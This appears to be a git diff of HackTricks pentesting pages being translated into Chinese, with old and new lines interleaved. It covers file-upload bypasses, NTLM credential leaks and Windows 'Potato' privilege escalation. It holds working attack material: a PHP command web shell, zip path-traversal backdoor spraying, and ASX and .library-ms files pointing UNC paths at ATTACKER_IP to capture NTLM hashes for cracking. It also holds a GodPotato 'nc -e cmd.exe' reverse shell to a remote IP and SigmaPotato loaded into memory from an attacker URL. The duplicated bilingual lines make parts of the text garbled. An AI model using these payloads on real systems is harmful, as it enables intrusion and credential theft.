- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助 Pentesters 和 Bug Hunters 测试文件上传机制。它结合了多种 bug bounty 技术,简化识别和利用漏洞的过程,确保对 web 应用进行彻底评估。
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
### 利用 snprintf 异常破坏上传索引(历史)
### 使用 `snprintf()` 特性破坏上传索引(历史)
一些使用 `snprintf()` 或类似函数将单文件上传构建为多文件数组的遗留上传处理器,可能被欺骗以伪造 `_FILES` 结构。由于 `snprintf()` 行为的不一致性和截断,精心构造的单次上传可能在服务器端表现为多个带索引的文件,混淆假定严格形状的逻辑(例如,将其视为多文件上传并进入不安全的分支)。虽然如今较为小众,但这种“索引破坏”模式偶尔会在 CTF 和旧代码库中重现。
某些使用 `snprintf()` 或类似方法将单文件上传构建为多文件数组的旧上传处理器,可能会被诱导伪造 `_FILES` 结构。由于 `snprintf()` 行为的不一致性和截断,精心构造的单次上传可能在服务器端表现为多个索引的文件,混淆假定严格结构的逻辑(例如将其视为多文件上传并走上不安全的分支)。虽然现在较为小众,但这种 “index corruption” 模式偶尔会在 CTF 和旧代码库中重现。
## 从文件上传到其他漏洞
- 将 **filename** 设置为 `../../../tmp/lol.png` 并尝试实现 **path traversal**
- 将 **filename** 设置为 `sleep(10)-- -.jpg`,可能触发 **SQL injection**
- 将 **filename** 设置为 `<svg onload=alert(document.domain)>` 以实现 **XSS**
- 将 **filename** 设置为 `; sleep 10;` 来测试一些命令注入(更多 [command injections tricks here](../command-injection.md)
- 将 **filename** 设置为 `sleep(10)-- -.jpg`,可能能够触发 **SQL injection**
- 将 **filename** 设置为 `<svg onload=alert(document.domain)>`触发 XSS
- 将 **filename** 设置为 `; sleep 10;` 来测试一些 command injection(更多 [command injections tricks here](../command-injection.md)
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- 尝试来自 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 的不同 svg payloads
- [著名的 **ImageTrick** 漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- 如果你能指示 web server 从某个 URL 抓取图片,可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被 **保存** 到某个 **public** 站点,你也可以指定来自 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL从而 **窃取每位访问者的信息**
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- 如果你能指示 Web 服务器从某个 URL 抓取图片,你可以尝试滥用 [SSRF](../ssrf-server-side-request-forgery/index.html)。如果该 **image** 将被 **saved** 到某个 **public** 站点,你也可以指定一个来自 [https://iplogger.org/invisible/](https://iplogger.org/invisible/) 的 URL从而 **窃取每位访问者的信息**
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- 特制的 PDF 导致 XSS下面的页面展示了如何 **注入 PDF 数据以获得 JS 执行** (../xss-cross-site-scripting/pdf-injection.md)。如果你可以上传 PDF可以按照给定说明准备某些 PDF 来执行任意 JS。
- 上传 \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 的内容以检查服务器是否有任何 **防病毒软件**
- 特制 PDF 导致 XSS以下页面演示了如何 **inject PDF data to obtain JS execution**[链接](../xss-cross-site-scripting/pdf-injection.md))。如果你可以上传 PDF可以按给出的指示准备一些会执行任意 JS 的 PDF
- 上传 the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 内容以检查服务器是否有任何 **antivirus**
- 检查上传文件时是否存在任何 **size limit**
下面是通过上传可以实现的前十项(来自 [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -235,20 +299,20 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magic Header Bytes
## 魔术头字节
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
参见 [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) 以获取其他文件类型的签名。
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip/Tar File Automatically decompressed Upload
## Zip/Tar 文件自动解压的上传
如果你可以上传一个会在服务器内部被解压的 ZIP你可以做两件事
如果你能上传一个将在服务器内部被解压的 ZIP你可以做两件事
### 符号链接 (Symlink)
### Symlink
上传一个包含指向其他文件的软链接的压缩包,然后访问解压后的文件时,你将访问被链接的文件:
上传一个包含指向其他文件的软链接的压缩包,然后访问解压后的文件时会访问到被链接的文件:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -256,16 +320,16 @@ tar -cvf test.tar symindex.txt
```
### 在不同文件夹解压
在解压过程中意外在目录中创建文件是一个严重问题。尽管最初可能认为这种设置可以防止通过恶意文件上传进行的 OS-level 命令执行,但 ZIP archive format 对层级压缩的支持和 directory traversal 能力可能会被利用。攻击者可以通过操纵目标应用的解压功能绕过限制并从受保护的 upload directories 逃逸
在解压过程中意外在目录中创建文件是一个严重问题。尽管最初认为这种设置可能能够防止通过恶意文件上传进行 OS-level command execution但 ZIP archive 格式对分层压缩的支持和目录遍历能力仍然可能被利用。这允许攻击者通过操纵目标应用的解压功能来绕过限制并逃离安全的上传目录
用于生成此类文件的自动化 exploit 可在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 获取。该工具的用法如下:
用于生成此类文件的自动化利用脚本可在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 获取。该工具的用法如下:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
此外,**symlink trick with evilarc** 是一个选项。如果目标是针对类似 `/flag.txt` 的文件,应在你的系统中创建指向该文件的符号链接。这样可以确保 evilarc 在运行过程中不会遇到错误。
另外,**symlink trick with evilarc** 是一种可行的选项。如果目标是要针对像 `/flag.txt` 这样的文件,应在你的系统中创建指向该文件的 symlink。这样可以确保 evilarc 在运行时不会遇到错误。
下面是用于创建恶意 zip 文件的 Python 代码示例:
```python
@ -273,6 +337,7 @@ python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@ -285,11 +350,11 @@ zip.close()
create_zip()
```
**滥用压缩进行文件喷射**
**Abusing compression for file spraying**
有关更多细节 **查看原始帖子** [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
有关更多细节**请查看原始帖子** [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**:编写 PHP 代码以执行通过 `$_REQUEST` 变量传递的命令。
1. **Creating a PHP Shell**: PHP 代码被编写为执行通过 `$_REQUEST` 变量传递的命令。
```php
<?php
@ -299,18 +364,18 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**:创建多个文件,并将这些文件打包到一个 zip 归档中
2. **File Spraying and Compressed File Creation**: 创建多个文件并将这些文件打包成一个 zip 存档
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**:使用 vi 或十六进制编辑器修改 zip 内部文件名,将 "xxA" 更改为 "../" 以进行目录遍历。
3. **Modification with a Hex Editor or vi**: 使用 vi 或十六进制编辑器修改 zip 内的文件名,将 "xxA" 改为 "../" 以实现目录遍历。
```bash
:set modifiable
:%s/xxA/..\//g
:%s/xxA/../g
:x!
```
@ -325,31 +390,31 @@ pop graphic-context
```
## 在 PNG 中嵌入 PHP Shell
在 PNG 文件的 IDAT chunk 中嵌入 PHP shell 可以有效绕过某些图像处理操作。来自 PHP-GD 的函数 `imagecopyresized``imagecopyresampled` 在此情境尤其相关,因为它们通常分别用于调整图像大小和重采样。嵌入的 PHP shell 在这些操作中保持不受影响的能力,对某些用例而言是重要优势。
将 PHP Shell 嵌入 PNG 文件的 IDAT chunk 可以有效绕过某些图像处理操作。来自 PHP-GD 的函数 `imagecopyresized``imagecopyresampled` 在此情境中特别相关,因为它们分别常用于调整大小和重采样图像。嵌入的 PHP Shell 在这些操作下仍然不受影响的能力在某些用例中是一个显著的优势。
关于该技术的详细探讨,包括方法论和潜在应用,请参见以下文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
关于该技术的详细探讨(包括方法论和潜在应用)见下列文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
Polyglot files 在网络安全中是独特的工具,像变色龙一样可以同时多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar),它既是 GIF 也是 RAR 存档。这样的文件不局限于这种组合;像 GIF 和 JS 或 PPT 和 JS 这样的组合也可行。
Polyglot files 在网络安全中是独特的工具,像变色龙一样可以同时作为多种文件格式合法存在。一个有趣的例子是 [GIFAR](https://en.wikipedia.org/wiki/Gifar),它既能作为 GIF又能作为 RAR 归档。此类文件不限于这种组合;像 GIF + JS 或 PPT + JS 的组合也可行。
Polyglot files 的核心用途在于其能够规避基于文件类型的安全检测。许多应用的常见做法是只允许某些文件类型上传——例如 JPEG、GIF 或 DOC——以降低来自潜在有害格式例如 JS、PHP 或 Phar 文件的风险。然而polyglot 通过同时符合多种文件类型的结构要求,能够悄然绕过这些限制。
Polyglot files 的核心用途在于其绕过基于文件类型筛查的安全措施的能力。许多应用通常只允许上传特定文件类型(如 JPEG、GIF 或 DOC以降低来自潜在危险格式例如 JS、PHP 或 Phar 文件的风险。然而polyglot 通过同时满足多种文件格式的结构要求,能够悄然绕过这些限制。
尽管具有适应性polyglots 仍然存在局限。例如,尽管 polyglot 可能同时表现为 PHAR 文件 (PHp ARchive) 和 JPEG它是否能成功上传可能取决于平台的文件扩展名策略。如果系统严格限制允许的扩展名polyglot 的结构双重性可能不足以保证其上传成功。
尽管适应性强polyglots 仍有局限。例如,虽然一个 polyglot 可能同时具备 PHARPHp ARchive和 JPEG 的特性但其能否成功上传可能取决于平台对文件扩展名的策略。如果系统对允许的扩展名限制严格polyglot 的结构双重性本身可能不足以保证上传成功。
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### 像上传 PDF 一样上传有效的 JSON
### 像 PDF 一样上传有效的 JSON
如何通过伪造 PDF 文件来上传有效的 JSON即使不被允许以规避文件类型检测技术来自 **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**
How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: 只要 `%PDF` 魔数在前 1024 字节内就被视为有效(参见文章示例
- **`pdflib` library**: 在 JSON 的某个字段中加入伪造的 PDF 格式,使库认为它是 PDF参见文章示例
- **`file` binary**: 它最多会读取 1048576 字节。只需创建一个比这更大的 JSON使其无法将内容解析为 JSON然后在 JSON 内部放入真实 PDF 的起始部分,它就会判断为 PDF
- **`mmmagic` library**:只要 `%PDF` 魔术字节位于前 1024 字节内,就被视为有效(示例见文章
- **`pdflib` library**:在 JSON 的某个字段内加入伪造的 PDF 格式,让该库认为这是一个 pdf示例见文章
- **`file` binary**:它最多读取文件的 1048576 字节。只需创建一个比这更大的 JSON使其无法将内容解析为 json然后在该 JSON 内放入真实 PDF 的初始部分,`file` 就会认为这是一个 PDF
## 参考资料
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -358,9 +423,14 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [usd HeroLab Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
- [NVD CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
- [0xdf HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Microsoft mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,66 @@
# Places to steal NTLM creds
# 窃取 NTLM creds 的位置
{{#include ../../banners/hacktricks-training.md}}
**查看所有来自 [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) 的精彩想法从在线下载的微软Word文件到ntlm泄漏源: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md 和 [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
**查看来自 [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) 的所有精彩想法,从在线下载 microsoft word 文件到 ntlm leaks 源: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md 和 [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
### Windows Media Player 播放列表 (.ASX/.WAX)
如果你能让目标打开或预览你控制的 Windows Media Player 播放列表,你可以通过将条目指向 UNC 路径来 leak NetNTLMv2。WMP 会尝试通过 SMB 获取引用的媒体并进行隐式认证。
示例 payload:
```xml
<asx version="3.0">
<title>Leak</title>
<entry>
<title></title>
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
</entry>
</asx>
```
收集和破解流程:
```bash
# Capture the authentication
sudo Responder -I <iface>
# Crack the captured NetNTLMv2
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
```
### 嵌入 ZIP 的 .library-ms NTLM 泄露 (CVE-2025-24071/24055)
当从 ZIP 存档内直接打开 .library-ms 文件时Windows 资源管理器会不安全地处理它们。如果库定义指向远程 UNC 路径(例如 \\attacker\share仅在 ZIP 中浏览/启动该 .library-ms 就会导致资源管理器枚举该 UNC 并向攻击者发出 NTLM 认证。这会产生可离线破解或可能被中继的 NetNTLMv2。
最小 .library-ms 示例,指向攻击者 UNC
```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<version>6</version>
<name>Company Documents</name>
<isLibraryPinned>false</isLibraryPinned>
<iconReference>shell32.dll,-235</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\10.10.14.2\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```
操作步骤
- 使用上面的 XML 创建 .library-ms 文件(设置你的 IP/hostname
- 将其压缩(在 Windows: Send to → Compressed (zipped) folder并将 ZIP 交付给目标。
- 运行 NTLM capture listener并等待受害者从 ZIP 内打开 .library-ms。
## References
- [HTB Fluffy ZIP .libraryms auth leak (CVE202524071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
- [Morphisec 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,10 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
> **JuicyPotato 不再适用** 于 Windows Server 2019 和 Windows 10 build 1809 及更高版本。 然而,[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** 可用于 **利用相同特权并获取 `NT AUTHORITY\SYSTEM`** 级别的访问权限。 这篇 [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) 对 `PrintSpoofer` 工具进行了深入介绍,该工具可用于在 JuicyPotato 不再适用的 Windows 10 和 Server 2019 主机上滥用 impersonation 权限。
> [!TIP]
> A modern alternative frequently maintained in 20242025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
> 一个在 20242025 年间经常维护的现代替代方案是 SigmaPotatoGodPotato 的 fork它增加了内存/.NET 反射的使用并扩展了对操作系统的支持。见下面的快速用法及参考中的仓库。
Related pages for background and manual techniques:
@ -22,12 +22,12 @@ from-high-integrity-to-system-with-name-pipes.md
privilege-escalation-abusing-tokens.md
{{#endref}}
## Requirements and common gotchas
## 要求和常见注意事项
下面所有技术都依赖于滥用一个具备 impersonation 能力的特权服务,且运行上下文须拥有下列任一权限
以下所有技术都依赖于从持有以下任一权限的上下文滥用具有 impersonation 能力的特权服务
- SeImpersonatePrivilege(最常见)或 SeAssignPrimaryTokenPrivilege
- 如果 token 已经具有 SeImpersonatePrivilege,则不需要高完整性High integrity这在许多服务账户中很常见,例如 IIS AppPool、MSSQL 等)
- SeImpersonatePrivilege (最常见) 或 SeAssignPrimaryTokenPrivilege
- 如果 token 已经具有 SeImpersonatePrivilege许多服务账户例如 IIS AppPool、MSSQL 等通常如此则不需要高完整性High integrity
快速检查权限:
```cmd
@ -35,10 +35,11 @@ whoami /priv | findstr /i impersonate
```
操作说明:
- PrintSpoofer 需要 Print Spooler 服务运行,并通过本地 RPC 端点 (spoolss) 可达。在经历 PrintNightmare 后禁用 Spooler 的加固环境中,优先使用 RoguePotato/GodPotato/DCOMPotato/EfsPotato。
- RoguePotato 需要一个在 TCP/135 上可达的 OXID resolver。如果出站被阻断使用 redirector/port-forwarder见下面示例。旧版本需要 -f 标志。
- EfsPotato/SharpEfsPotato 利用 MS-EFSR如果一个 pipe 被阻塞,尝试替代的 pipelsarpc, efsrpc, samr, lsass, netlogon
- 在调用 RpcBindingSetAuthInfo 时出现 Error 0x6d3 通常表示未知/不支持的 RPC 身份验证服务;尝试不同的 pipe/transport 或确保目标服务正在运行。
- 如果你的 shell 在一个受限令牌下运行且缺少 SeImpersonatePrivilege在某些情况下 Local Service/Network Service 常见),使用 FullPowers 恢复该账户的默认权限,然后运行一个 Potato。示例`FullPowers.exe -c "cmd /c whoami /priv" -z`
- PrintSpoofer 需要 Print Spooler 服务运行并且可以通过本地 RPC 端点 (spoolss) 访问。在经过加固且在 PrintNightmare 后禁用 Spooler 的环境中,优先使用 RoguePotato/GodPotato/DCOMPotato/EfsPotato。
- RoguePotato 需要一个可通过 TCP/135 访问的 OXID resolver。如果出站被阻断使用重定向器/端口转发器(见下面示例)。旧版本构建需要 -f 标志。
- EfsPotato/SharpEfsPotato 利用 MS-EFSR如果某个 pipe 被阻塞,尝试替代 pipelsarpc、efsrpc、samr、lsass、netlogon
- 在 RpcBindingSetAuthInfo 期间出现错误 0x6d3 通常表示未知/不支持的 RPC 身份验证服务;尝试不同的 pipe/传输,或确保目标服务正在运行。
## 快速演示
@ -58,8 +59,8 @@ NULL
```
注意:
- 你可以使用 -i 在当前控制台生成一个交互式进程,或者使用 -c 运行单行命令。
- 需要 Spooler service。如果被禁用,将会失败。
- 你可以使用 -i 在当前控制台启动一个交互式进程,或使用 -c 运行一行命令。
- 需要 Spooler 服务。如果被禁用,将会失败。
### RoguePotato
```bash
@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
nt authority\system
```
提示:如果某个 pipe 失败或被 EDR 阻止,请尝试其他受支持的 pipes
提示:如果一个 pipe 失败或被 EDR 阻止,尝试其他受支持的 pipes
```text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@ -123,13 +124,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
```
注意:
- 在存在 SeImpersonatePrivilege 时,可在 Windows 8/8.111 和 Server 20122022 上运行
- 当存在 SeImpersonatePrivilege 时,适用于 Windows 8/8.111 以及 Server 20122022
### DCOMPotato
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato 提供了两个变体,针对默认使用 RPC_C_IMP_LEVEL_IMPERSONATE 的服务 DCOM 对象。构建或使用提供的二进制文件并运行你的命令:
DCOMPotato 提供两种变体,针对默认使用 RPC_C_IMP_LEVEL_IMPERSONATE 的服务 DCOM 对象。构建或使用提供的 binaries 并运行你的命令:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
@ -139,7 +140,7 @@ McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (更新的 GodPotato fork)
SigmaPotato 添加了现代化的便利功能,例如通过 .NET 反射进行的内存执行,以及一个 PowerShell reverse shell 辅助程序
SigmaPotato 添加了现代化的便利功能,例如通过 .NET reflection 的 in-memory execution以及一个 PowerShell reverse shell 辅助工具
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@ -150,13 +151,13 @@ SigmaPotato 添加了现代化的便利功能,例如通过 .NET 反射进行
```
## 检测与加固说明
- 监控那些创建 named pipes 并紧接着调用 token-duplication APIs 再执行 CreateProcessAsUser/CreateProcessWithTokenW 的进程。Sysmon 可以提供有用的遥测Event ID 1进程创建、17/18named pipe 创建/连接),以及以 SYSTEM 身份生成子进程的命令行。
- Spooler 加固:在不需要的服务器上禁用 Print Spooler 服务可以防止通过 spoolss 进行的 PrintSpoofer-style 本地强制提升。
- 服务户加固:尽量减少向自定义服务分配 SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege。考虑在虚拟账户下以最低必要权限运行服务,并在可能的情况下使用 service SID 和写限制 tokens 对其进行隔离。
- 监控创建 named pipes 并立即调用 token-duplication APIs、随后调用 CreateProcessAsUser/CreateProcessWithTokenW 的进程。Sysmon 可暴露有用的遥测Event ID 1 (process creation)、17/18 (named pipe created/connected),以及以 SYSTEM 身份生成子进程的命令行。
- Spooler 加固:在不需要的服务器上禁用 Print Spooler 服务,可防止通过 spoolss 发生类似 PrintSpoofer 的本地强制提升。
- 服务户加固:尽量减少向自定义服务分配 SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege。考虑使用最低权限的虚拟账户运行服务,并在可能时通过 service SID 和 write-restricted tokens 对其进行隔离。
- 网络控制:阻止出站 TCP/135 或限制 RPC endpoint mapper 流量可以破坏 RoguePotato除非存在内部重定向器。
- EDR/AV这些工具大多有广泛的签名。重新从源码编译、重命名符号/字符串或使用 in-memory execution 可以降低检测率,但无法绕过健的行为检测。
- EDR/AV这些工具通常都有广泛的签名检测。通过从源码重新编译、重命名符号/字符串或使用 in-memory execution 可以降低检测率,但无法绕过健的行为检测。
## 参考资料
## References
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
@ -167,5 +168,7 @@ SigmaPotato 添加了现代化的便利功能,例如通过 .NET 反射进行
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
- [FullPowers Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
{{#include ../../banners/hacktricks-training.md}}